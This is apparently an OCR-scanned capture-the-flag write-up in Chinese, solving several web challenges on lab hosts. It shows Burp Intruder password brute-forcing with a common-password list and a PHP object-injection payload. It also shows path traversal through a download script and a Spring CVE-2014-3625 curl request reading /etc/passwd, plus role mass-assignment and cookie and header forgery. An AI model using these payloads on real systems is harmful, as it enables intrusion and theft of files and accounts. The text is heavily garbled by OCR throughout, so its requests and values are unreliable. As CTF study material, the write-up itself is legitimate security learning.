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reset

Attack type: l Sniper

POST findex. phpTmethod=reset HITP/1.1

Host: 218.2.187. 232:18009

User—agent: Mozilla/3. 0 (Findows NT 10.0; wOW64; 1v:53. 00 Gecke/20100101 Firefox/53. 0
Accept: text/html, application/xhtml+ml, applicationmml;a=0.9, %/ % q=0.8
Accept-Language: zh-CH, zh;q=0. 8, en-US;q=0.5, en;a=0.3

Accept-Encoding: egzip, deflate

Content-Type: application/z-www-form-urlencoded

Content-Length: 36

Referer: http://218 2. 187 232:18009/

Coclie: PHPSESSID=tusmplpmbillinreful@dlsvind

Connection: close

Upgrade-Insecure-Requests: 1

name=ed3fTaaeab2082 148password= § 11111 §
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POST /login phpTmethod=login HTTP/1 1

Host: 218, 2,197 232:18008

User-Agent: Mozilla/5. 0 (Tindows WT 10.0; WOWE4; rv:53. 00 Gecko/20100101 Firefox/53. 0
tecept: text/himl, application/zhtml+mml, application/xml; q=0. 9, */%; q=0. 8
Accept-Language: zh-CH, zh;o=0. 8, en-US:q=0.5, en; a=0.3

Accept-Encoding: gzip, deflate

Content-Type: appliecation/x-vwww-form-urlencoded

Content-Length: 36

Referer: http://218 2,107, 232: 18009/ 1ogin. phptmethod=login

Comnection: close

Upgrade-Insecure-Requests: 1

name=ed3fTaaeabl052148password= § 11111 §
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Reguest .l| Payload Status | Error | Timeout | Length | Comment
28 1 200 O O 184
29 1 200 B O 206
30 1 200 O O 184
kY| 1 200 O O 184
32 1 200 O O 184
33 1 200 O O 200
34 1 200 O O 184
35 1 200 O O 184
36 1 200 O O 184
a7 1 200 O O 184
38 1 200 O O 184
39 1 200 O O 200
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ITP/1.1 200 oK

lerver: nginx

mte: Thn, 13 Tun 2017 15:43:19 GNT
‘ontent-Type: text/html; charset=untf-8
‘onnection: close

-Powered-By: FHP/3.6.27
‘ontent-Length: 30
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ini_set('session.serialize handler', 'php_serialize');

TE query.php FHIH /& php A BRI SENT 77 20
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0x4 payload“: ik

0x5 #1|

fEﬁiﬁiﬁﬁ)\src=|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{5:3:"0bj";N;s:4:"attr";s:127:"O:4:"TOPA":4:
{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";s:17:"aaaaaaaaaaaaaaaaa";s:8:"password";s:18:"bbbbbbbbbbbbbbbbbb"
5353

7Equery.php Rl Flkey

& Load URL |http://218.2.197.232:18017/?src=|0:4:"TOPC":3:{s:3:"obj":N:s:4:"attr":0:4:"TOPB":2:{s:3:"0bj";N:s:4:"attr";5:127:"0:4: " TOPA":d:fs:5:"token ":N;s:6: "ticket";R:2:5:B:"username";s:17:"aaaaaaaaaaa
Q‘E split URL 5:18:"bbbbbbbbbbbbbbbbbb";}":}}
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Enable Post data [ ] Enable Referrer

Post data
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<!DOCTYPE HIML>
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<html>

<head>

{meta http—equiv="Content—Tyvpe” content="text/html: charset=utf-8">
<title BB PR/ title>

</head>

<body>

<div align="center”> FFERER|flagsa 0T, </div>

<a href="./a/down. php?p=. /1. tut"></a>

</body>

</html>

Al axt

<html>

<head>

{meta http—equiv="Content—Tyvpe” content="text/html: charset=utf-8">
<title BB PR/ title>

</head>

<body>

<div align="center”> {FEEEF|flagdH1S. </div>

<a href="./a/down. php?p=. /1. tut"></a>

</body>

</html>




(i) 2.197.232: afdown.php?p=./1.txt
€ (0 218.2.197.232:18008/a/d hp?p=./1

hello

FE MRS Zinclude sk # fZfile_get_content
AN HIE 1 i H AR
U7 )1 .t

€ (0 218.2197.232:18008/a/1 bt TE ¢ W

404 Not Found

nginx

fHEad 1) — AN F H 3 MR a4 flag.php AL B M iZ s&include ) 2k B S . Mag.php R 8 3k, 7 25 ) _Eid
FFER S M. . IMla.lg.php
(D) view-source:http://218.2.197.232:18008/a/down.php?p=...//fla./g.php
<?php
error_reporting (E_ERROR & "E _NOTICE) :

Skey = “GCTF{drthSDFSDGFSdsfhfg}”;
2
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U IE AL TR BEAIE [R5 — 2 session & i

# O ¢ > )= pma HTML css BE DOM [ | Cookies v
l# | Cookies -~ iTiESE - Bk (EFE=7 cockie) ~

| B Y HE
PHPSESSID ocou lugSeoljFvadudgimd 73p2

FEISAIE )] i G R sessiont I iX 4 5

$_POST[ 'authcode'] == $_SESSION[ 'authcode’]
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Request | Payload Status | Error | Timeout | Length ¥ | Comment
596 wisddslh 200 O [] 1568
d password 200 O O 1564
3 123456 200 O [0 1564
4 12345678 200 O [0 1564
0 200 O [0 1564
5 1234 200 O [0 1564
] qwerty 200 O O 1564
7 12345 200 O [0 1564
a8 dragon 200 O O 1564
9 pussy 200 O O 1564
10 baszeball 200 O O 1564
12 letmein 200 O O 1564
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ITe/1. 1 200 oK

jerver: nginx

jate: Fri, 16 Jun 2017 07:18:11 cur

dontent=Type: text/himl; charset=UTF-3

lommection: close

-Powered-By: PHP/5. 6. 27

jet-Cooliie: PHPSESSID=jifjghedfbieliubflquatfb?; path=/
izpires: Thu, 19 Hov 1881 08:52:00 cNT

lache—Control: no-store, no-cache, must-revalidate, post-checl=0, pre-checl=0
‘ragma: no-cache

lontent-Length: 1185

CTF {Qb8HR4pemS cMgexTSwP TRZmb} <himl »
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HAEM A Hcve

Hilmila / springcss-cve-2014-3625 @Watch~ 1 W star

<> Code Issues 0 Pull requests o Projects 0 Wiki Insights «

Branch: master - Springcss-cve-2014-3625 / stealfile.sh

’ caligin enh: adding example of path-reaversiong request i

1 contributor

Executable File 2 lines (1 sloc) 78 Bytes Raw Blame Histc

curl http://localhost:8@8@/spring-css/resources/file:/etc/passwd -vwv

HAEAEH



http://218.2.197.232:18015/sp X T =

€ (0 218.2.197.232:18015/spring-css/resources/file;/etc/passwd

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon: /sbin:/sbin/nologin
adm:x:3:4:adm: /var/adm:/sbin/nologin
1p:x:4:7:1p:/var/spool/1lpd: /sbin/nologin
sync:x:5:0:sync: /sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news: /usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp: /var/spool/uucppublic: /sbin/nologin
operator:x:11:0:operator: /root:/bin/sh
man:x:13:15:man: /usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron: /var/spool/cron: /sbhin/nologin
ftp:x:21:21::/var/1ib/ftp:/sbin/nologin
sshd:x:22:22:sshd: /dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs5:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games: /usr/games:/sbin/nologin
postgres:x:70:70: :/var/lib/postegresqgl: /bin/sh
cyrus:x:85:12:: fusr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP: /var/empty:/sbin/nologin
smmsp:x:209:209: smmsp: /var/spool/mqueue: /sbin/nologin
guest:x:405:100: guest: /dev/null: /sbin/nologin

nobody: x:65534:65534:nobody:/:/sbin/nologin
flag:x:1000:1000:Linux User,,, :/home/flag:/etc/flag

K I flaghi &

http://218.2.197.232:18015/s; X | 4
€ | (O 218.2.197.232:18015/spring-css/resources/file:/etc/flag

GCTF {db83944240275874}
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J Raw I Params l Headers l Hex l

POST fedit. php HTTP/1 1
Host: 2182197 232:18014
User-igent: Mozilla/5. 0 (Tindows HT 10.0; wow64; rv:33. 0) Gecko/20100101 Fivefox/33.0

Lecept: text/html, application/zhtml +xml, application/=zml;q=0. 8, ®/*; g=0. 8

Accept-Language: zh-CH, zh;q=0. 8, en-US;q=0. 5, en;q=0. 3

Accept—Encoding: gzip, deflate

Cont ent-Type: application/z—www—form—urlencoded
Content-Length: 147

Referer: hitp:/ /218 2 187, 237: 18014 index. php
Coolie: PHPRESSID=jagaild7s3lviuogdmddeuad?
Connection: clase

Upgrade-Insecure—Reguests: 1

name=adnindemail=4a 120fda T£T2e8Th% et £, cndphone=1234567808mob11e=123456T89%a ddress=
THEL1Tth=10000101&gender=%E5%A5%E30uid=0 | role = 0xG1646d696e

GCTF{9CtyJLHMxkjLUs6qfUMS5Cmrb}

22

admin

i1

4a120fda7fr 2ed7b@qgctf.cn

HiE

123456789

Fill
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Add  Host www.topsec.com ®
Add  Referer www. baidu.com [ ]
Add  Cookie login=1 ®
Add  X-Forwarded-For localhost [ ]
Add  X-Requested-With XMLHttpRequest ®
Add  Accept-Language de-DE "

et E O E R
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F\cookie
login=4e7a51334d6a63314e6a553d
e Je A i 25 Bt R A

# Y € ) )= mma HTML css B& DOM | iR v | Cookies
W | Bl BS | 28 HIML | €SS JavaScript XHR BER & #BE =&
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